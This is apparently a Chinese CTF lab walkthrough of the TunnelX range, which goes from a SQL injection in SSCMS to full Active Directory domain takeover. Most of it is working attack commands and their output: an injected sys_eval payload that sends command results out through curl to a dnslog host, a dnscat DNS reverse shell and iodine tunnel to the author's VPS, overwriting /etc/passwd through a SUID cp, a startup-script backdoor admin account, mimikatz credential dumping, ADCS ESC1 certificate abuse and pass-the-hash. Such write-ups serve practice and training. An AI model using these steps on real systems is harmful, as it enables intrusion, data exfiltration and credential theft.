考点:
- CVE-2021-42655
- sql自建命令执行函数
- dnscat弹DNS shell
- cp提权
- DNS隧道搭建
- ldap匿名访问
- AS-REP Roasting
- SHUWDOWN用户启动项提权
- ESC1
扫服务,80端口有一个V6.15.51版本的SS CMS(这个是扫路径看到登录页看出来),并且有后台sql注入:CVE-2021-42655
2121端口有ftp,可以匿名登录,能下下来一个secret.7z
7z要用7z2john爆破,但安装好了出现了报错想要运行:
Can't locate Compress/Raw/Lzma.pm in @INC (you may need to install the Compress::Raw::Lzma module) (@INC contains: /etc/perl /usr/local/lib/x86_64-linux-gnu/perl/5.34.0 /usr/local/share/perl/5.34.0 /usr/lib/x86_64-linux-gnu/perl5/5.34 /usr/share/perl5 /usr/lib/x86_64-linux-gnu/perl-base /usr/lib/x86_64-linux-gnu/perl/5.34 /usr/share/perl/5.34 /usr/local/lib/site_perl) at /usr/bin/7z2john line 6.
BEGIN failed--compilation aborted at /usr/bin/7z2john line 6.
网上查了下安装了一下依赖:
apt install liblzma-dev
apt-get install cpanminus
cpan Compress::Raw::Lzma
但安装Compress::Raw::Lzma又出现了很傻逼的问题,比如遇到
Loading internal logger. Log::Log4perl recommended for better logging
Reading '/root/.cpan/Metadata'
Database was generated on Tue, 31 Oct 2023 08:54:03 GMT
Running install for module 'Compress::Raw::Lzma'
Fetching with HTTP::Tiny:
https://cpan.org/authors/id/P/PM/PMQS/Compress-Raw-Lzma-2.206.tar.gz
Fetching with HTTP::Tiny这里下载压缩包会一直卡住,不知道是不是因为是外网链接的问题,后来采用的方式,手动下载然后移动到指定位置,比如是下载https://cpan.org/authors/id/P/PM/PMQS/Compress-Raw-Lzma-2.206.tar.gz卡住了,就在浏览器里访问这个链接下载文件,然后手动复制过去:
sudo cp Compress-Raw-Lzma-2.206.tar.gz /root/.cpan/sources/authors/id/P/PM/PMQS/
其实就是用/root/.cpan/sources/替换https://cpan.org/就是待安装路径,最后终于安装成功,接着爆哈希:
7z2john secret.7z >1.txt
john 1.txt --wordlist=/usr/share/wordlists/rockyou.txt
爆出来密码是13131313,解压一下内容是:
A strange character string, You're the only one I'm telling
e7d41890-5742-48f0-9f3c-1393db541fc7
这东西其实就是一个sscms的api-key:API 身份认证,有这东西就能直接访问后台的接口了,也能直接sql注入了,因为那个后台洞其实就是注入的/api/pages/cms/libraryText/list
但这里有个问题,首先这个服务是站库分离的,并且数据库TCP流量不出网,只有DNS流量出网,所以只能curl外带命令结果,并且这里我们还只能执行sql语句,想执行命令必须加载udf.so自己创建一个命令执行函数sys_eval,这里用的大头哥的脚本(这里还顺便传了一个dnscat用于后面DNS弹shell):
https://github.com/LxxxSec/TunnelX/blob/master/udf-dnscat.py
脚本里ip换成自己的靶机ip后运行完就能创建一个命令执行函数外带命令了:
POST /api/pages/cms/libraryText/list HTTP/1.1
Host: 39.98.127.34
X-SS-API-KEY: e7d41890-5742-48f0-9f3c-1393db541fc7
Content-Type: application/json
Content-Length: 127
{"siteId":1,"keyword":"';select sys_eval('curl `whoami`.xwqn3w.dnslog.cn')-- ","groupId":0,"page":1,"perPage":24}
接着我们可以使用dnscat用DNS隧道反弹shell。首先,想要用DNS隧道反弹shell你需要有一台vps,然后有一个域名,以我的腾讯云为例,我的域名为之前买了没用的cqupt.team,你需要设置一个A记录,将test.cqupt.team解析到VPS的ip,然后设置一个NS记录,将ns1.cqupt.team解析到test.cqupt.team:
配好域名解析后,我们可以在vps上直接使用现成的dnscat的docker起服务(记得把53端口打开且协议为UDP协议):
docker run -p 53:53/udp -it --rm mpercival/dnscat2 ruby ./dnscat2.rb ns1.cqupt.team -c datou
接着用之前向tmp目录传好的dnscat反弹DNS的shell:
POST /api/pages/cms/libraryText/list HTTP/1.1
Host: 39.98.127.34
X-SS-API-KEY: e7d41890-5742-48f0-9f3c-1393db541fc7
Content-Type: application/json
Content-Length: 126
{"siteId":1,"keyword":"';select sys_eval('/tmp/dnscat --secret=datou ns1.cqupt.team')-- ","groupId":0,"page":1,"perPage":24}
接着在vps这里应该能接收到shell,应该是会显示New window created: 1,这里我们先使用window -i 1切换到新创建的session1上,然后输入shell,会显示New window created: 3,这就说明一个shell的session3成功创建了
然后我们输入window -i 3,切换到新创建的shell session3上,就可以执行命令了
然后没找到flag,提一下权:
find / -perm -u=s -type f 2>/dev/null
看到了cp有suid,这里我们可以想到传一个passwd把服务器本来的passwd覆盖了,这样就能把root密码重置了,还是直接用的大头哥的脚本,传一个root密码为123456的passwd到/tmp/
https://github.com/LxxxSec/TunnelX/blob/master/passwd.py
接着用新的passwd把/etc/passwd覆盖了:
cp /tmp/passwd1 /etc/passwd
python -c 'import pty;pty.spawn("/bin/bash")'
su root
123456
喜提flag2(flag1在网站服务器上,我们这个拿的是数据库服务器上的,听出题人说flag1的预期解就是拿完域控pth过去)
接着我们使用iodine做个DNS代理,但有个很关键的问题,就是dnscat和iodine都依赖53端口,总不可能打个题得用两台vps吧,这里从大头哥的wp上学了个骚操作,首先传一个iodine到靶机上,这个是受控端,然后写个命令,让iodine在后台sleep 10s后回连控制端,我们在这十秒内掐掉docker然后启动iodine控制端就能成功建立连接。
首先在靶机上传一个iodine(iodined是控制端用的,iodine是受控端用的,大头哥在github上都传了),脚本还是直接使用大头哥现成的
https://github.com/LxxxSec/TunnelX/blob/master/iodine.py
传成功后校验一下哈希,一般来说没啥问题
然后chmod +x /tmp/iodine给一下权限,接着运行我们之前说的让iodine在后台sleep 10s后回连控制端的命令(你觉得10s内完不成可以把这个10改大点)
nohup sleep 10 && /tmp/iodine -f -P datou ns1.cqupt.team &
接着在VPS上ctrl C掐掉之前用docker起的dnscat服务,然后用iodined在VPS上创建一个192.168.0.1网段的虚拟网卡
iodined -f -c -P datou 192.168.0.1 ns1.cqupt.team -DD
可以看到很明显的回连痕迹,说明成功建立连接了(毕竟DNS隧道原理就是用域名前那个段外带数据,这里看得出来每段数据就是ns1.cqupt.team上的那串字符,也因此DNS隧道卡的批爆,毕竟每次数据量太小了)。
然后我们可以连接到192.168.0.2,这个其实就是靶机,因为我们相当于把靶机的流量转发到创建的虚拟网卡上了
ssh root@192.168.0.2
123456
接着我们需要把VPS上虚拟网卡192.168.0.2的流量转发出来建立socks5隧道,这里我没用大头哥的方法,因为我没用过frp,我用的之前内网代理搭建里讲的ssh隧道实现的,首先把192.168.0.2的流量转发到本地VPS的29999端口上:
ssh -N -D 29999 root@192.168.0.2
接着用ssh隧道把VPS上29999端口的流量转发到公网6666端口上创建socks代理(这个默认是挂在后台的,不用了记得kill了,netstat -nap | grep 6666):
ssh -C -f -N -g -L 0.0.0.0:6666:127.0.0.1:29999 root@VPS
然后连VPS:6666端口的socks5代理,试试curl内网资源能不能访问,能访问到就说明成功了
proxychains curl 172.22.61.50
接着老套路,传fscan扫内网,但这个dns隧道实在是卡的批爆,建议大伙改一下大头哥的脚本用sql命令传一个fscan,那个快多了,这里我不到10mb的东西传了七分钟,太抽象了
scp fscan root@192.168.0.2:/tmp/fscan
ifconfig
root@MYSQL:/tmp# ./fscan -h 172.22.61.41/24
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.2
start infoscan
(icmp) Target 172.22.61.41 is alive
(icmp) Target 172.22.61.17 is alive
(icmp) Target 172.22.61.50 is alive
(icmp) Target 172.22.61.34 is alive
[*] Icmp alive hosts len is: 4
172.22.61.41:22 open
172.22.61.34:445 open
172.22.61.50:445 open
172.22.61.17:445 open
172.22.61.34:139 open
172.22.61.17:139 open
172.22.61.50:139 open
172.22.61.34:135 open
172.22.61.50:135 open
172.22.61.17:135 open
172.22.61.50:80 open
172.22.61.17:88 open
172.22.61.41:3306 open
[*] alive ports len is: 13
start vulscan
[*] NetInfo:
[*]172.22.61.17
[->]DC
[->]172.22.61.17
[->]2001:0:348b:fb58:383c:21f6:d89c:1748
[*] 172.22.61.17 (Windows Server 2016 Datacenter 14393)
[*] NetInfo:
[*]172.22.61.34
[->]WIN2012
[->]172.22.61.34
[*] NetBios: 172.22.61.17 [+]DC DC.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] NetBios: 172.22.61.50 Web.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] NetBios: 172.22.61.34 WIN2012.xiaorang.lab Windows Server 2012 R2 Datacenter 9600
[*] WebTitle: http://172.22.61.50 code:200 len:24977 title:Zosimos
[+] SSH:172.22.61.41:22:root 123456
已完成 13/13
[*] 扫描结束,耗时: 6.262020915s
172.22.61.17 DC.xiaorang.lab
172.22.61.50 Web.xiaorang.lab 外网SSCMS
172.22.61.34 WIN2012.xiaorang.lab
172.22.61.41 mysql数据库(GetShell)
这里DC的ldap服务可以匿名访问,能查询所有域用户
proxychains ldapsearch -H ldap://172.22.61.17 -b "DC=xiaorang,DC=lab" -x|grep ',CN=Users,DC=xiaorang,DC=lab'
dn: CN=Administrator,CN=Users,DC=xiaorang,DC=lab
dn: CN=Guest,CN=Users,DC=xiaorang,DC=lab
distinguishedName: CN=Guest,CN=Users,DC=xiaorang,DC=lab
dn: CN=DefaultAccount,CN=Users,DC=xiaorang,DC=lab
dn: CN=krbtgt,CN=Users,DC=xiaorang,DC=lab
dn: CN=Domain Computers,CN=Users,DC=xiaorang,DC=lab
dn: CN=Domain Controllers,CN=Users,DC=xiaorang,DC=lab
dn: CN=Schema Admins,CN=Users,DC=xiaorang,DC=lab
dn: CN=Enterprise Admins,CN=Users,DC=xiaorang,DC=lab
dn: CN=Cert Publishers,CN=Users,DC=xiaorang,DC=lab
dn: CN=Domain Admins,CN=Users,DC=xiaorang,DC=lab
dn: CN=Domain Users,CN=Users,DC=xiaorang,DC=lab
dn: CN=Domain Guests,CN=Users,DC=xiaorang,DC=lab
dn: CN=Group Policy Creator Owners,CN=Users,DC=xiaorang,DC=lab
dn: CN=RAS and IAS Servers,CN=Users,DC=xiaorang,DC=lab
dn: CN=Allowed RODC Password Replication Group,CN=Users,DC=xiaorang,DC=lab
dn: CN=Denied RODC Password Replication Group,CN=Users,DC=xiaorang,DC=lab
dn: CN=Read-only Domain Controllers,CN=Users,DC=xiaorang,DC=lab
dn: CN=Enterprise Read-only Domain Controllers,CN=Users,DC=xiaorang,DC=lab
dn: CN=Cloneable Domain Controllers,CN=Users,DC=xiaorang,DC=lab
dn: CN=Protected Users,CN=Users,DC=xiaorang,DC=lab
distinguishedName: CN=Protected Users,CN=Users,DC=xiaorang,DC=lab
dn: CN=Key Admins,CN=Users,DC=xiaorang,DC=lab
dn: CN=Enterprise Key Admins,CN=Users,DC=xiaorang,DC=lab
dn: CN=DnsAdmins,CN=Users,DC=xiaorang,DC=lab
distinguishedName: CN=DnsAdmins,CN=Users,DC=xiaorang,DC=lab
dn: CN=DnsUpdateProxy,CN=Users,DC=xiaorang,DC=lab
dn: CN=wangmei,CN=Users,DC=xiaorang,DC=lab
distinguishedName: CN=wangmei,CN=Users,DC=xiaorang,DC=lab
dn: CN=zhangjing,CN=Users,DC=xiaorang,DC=lab
dn: CN=wangyong,CN=Users,DC=xiaorang,DC=lab
dn: CN=huangyong,CN=Users,DC=xiaorang,DC=lab
dn: CN=lixiang,CN=Users,DC=xiaorang,DC=lab
dn: CN=chenlei,CN=Users,DC=xiaorang,DC=lab
distinguishedName: CN=chenlei,CN=Users,DC=xiaorang,DC=lab
dn: CN=yangjie,CN=Users,DC=xiaorang,DC=lab
distinguishedName: CN=yangjie,CN=Users,DC=xiaorang,DC=lab
dn: CN=zhangjun,CN=Users,DC=xiaorang,DC=lab
dn: CN=yangdming,CN=Users,DC=xiaorang,DC=lab
dn: CN=zhangmei,CN=Users,DC=xiaorang,DC=lab
dn: CN=wangrong,CN=Users,DC=xiaorang,DC=lab
dn: CN=zhangpeng,CN=Users,DC=xiaorang,DC=lab
dn: CN=liuyun,CN=Users,DC=xiaorang,DC=lab
distinguishedName: CN=liuyun,CN=Users,DC=xiaorang,DC=lab
dn: CN=Shutdown_group,CN=Users,DC=xiaorang,DC=lab
users.txt:
wangmei
zhangjing
wangyong
huangyong
lixiang
chenlei
yangjie
zhangjun
yangdming
zhangmei
wangrong
zhangpeng
liuyun
Shutdown_group
跑一下AS-REP Roasting
proxychains python3 GetNPUsers.py -dc-ip 172.22.61.17 -usersfile ~/Desktop/user.txt xiaorang.lab/
hashcat -m 18200 '$krb5asrep$23$yangdming@XIAORANG.LAB:324cd949cb813b90b13219cfc6bbbd6e$1b4b3d2bc2c3d754e74e425e18c759c35a27a12341d4e41bd40248d60b4c5c064dcc2ecd7e17571022465b61db5fa98c7826a4fe8e132bb895c48fbcdcd8f011c97ee741d716ca1401ba24a3fd01d72d95071d447a1def6d8cebb9e57108fa3ac2f235b86b281a198e84518fa06b0c3c8d0a8c51a025693ee5e8a23f7757499daf2a336bf26acb952bf814f891c435799221124c94d68a78c44e632eb1a8a6ab599e456cc037f89dee504cf56dcc1d8bef6f619cc7a3172be4d13430873588028dd547e3026ef229e4b545c825f14583baa7c2f0b94e6304a01021bb6fd5173cb2213060727b3e97c533277e' /usr/share/wordlists/rockyou.txt --force
yangdming:kier@n10
接着可以用evil-winrm连上去
proxychains evil-winrm -i 172.22.61.34 -u yangdming -p kier@n10
跑一下bloodhound
proxychains bloodhound-python -d xiaorang.lab -u yangdming -p kier@n10 -gc dc.xiaorang.lab -c all
然后发现yangdming这个用户在SHUWDOWN_GROUP,能对机器重启,因此我们可以使用启动项提权,首先在本地写一个add.bat,具体内容:把yangdming添加到本地管理员组内,把LocalAccountTokenFilterPolicy设为1,添加benbi后门用户:
@echo off
net localgroup administrators yangdming /add
reg ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
net user benbi pass@123 /add
net localgroup administrators benbi /add
然后切换到C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\把add.bat从本地传上去,接着shutdown重启机器
cd "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"
upload add.bat
shutdown -r -t 0
重启完再连上去可以发现已经管理员里多了一个benbi用户
接着wmiexec上去拿flag
proxychains python3 wmiexec.py benbi:pass@123@172.22.61.34 -codec gbk
type C:\Users\Administrator\flag\flag03.txt
接着本来想用evil-winrm像之前一样传一个mimikatz.exe上去抓密码,但每次传到最后都失败了,最后一怒之下开全局代理RDP上去然后把本地的mimikatz.exe复制过去,当然整个过程也是卡的我想死,接着用mimikatz.exe抓哈希
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > 1.txt
抓到了机器账户的哈希:1a58500ed538410fc68757953b50778d,通过这个进一步利用拿域控,首先看了一下ADCS,发现有ESC1,并且能用win2012模板打,因此照本宣科即可。
看ADCS:
proxychains certipy-ad find -u win2012\$@xiaorang.lab -hashes 00000000000000000000000000000000:1a58500ed538410fc68757953b50778d -dc-ip 172.22.61.17 -vulnerable
用win2012模板申请证书(记得把域控加到/etc/hosts里)
proxychains certipy-ad req -u win2012\$@xiaorang.lab -hashes 00000000000000000000000000000000:1a58500ed538410fc68757953b50778d -target 172.22.61.17 -ca xiaorang-DC-CA-CA -template win2012 -upn administrator@xiaorang.lab
转换格式,请求TGT,获得域控哈希aad3b435b51404eeaad3b435b51404ee:e26a28fd9daa8a6a4d3c5adbbdcb0f53
proxychains certipy-ad auth -pfx administrator.pfx -dc-ip 172.22.61.17
pth域控
proxychains python3 wmiexec.py xiaorang.lab/administrator@172.22.61.17 -hashes aad3b435b51404eeaad3b435b51404ee:e26a28fd9daa8a6a4d3c5adbbdcb0f53
type C:\Users\Administrator\flag\flag04.txt
pth最初的web服务器
proxychains python3 wmiexec.py xiaorang.lab/administrator@172.22.61.50 -hashes aad3b435b51404eeaad3b435b51404ee:e26a28fd9daa8a6a4d3c5adbbdcb0f53 -codec gbk
type C:\Users\Administrator\flag\flag01.txt
还得是大头✌,最有跪感的一集:春秋云镜 – TunnelX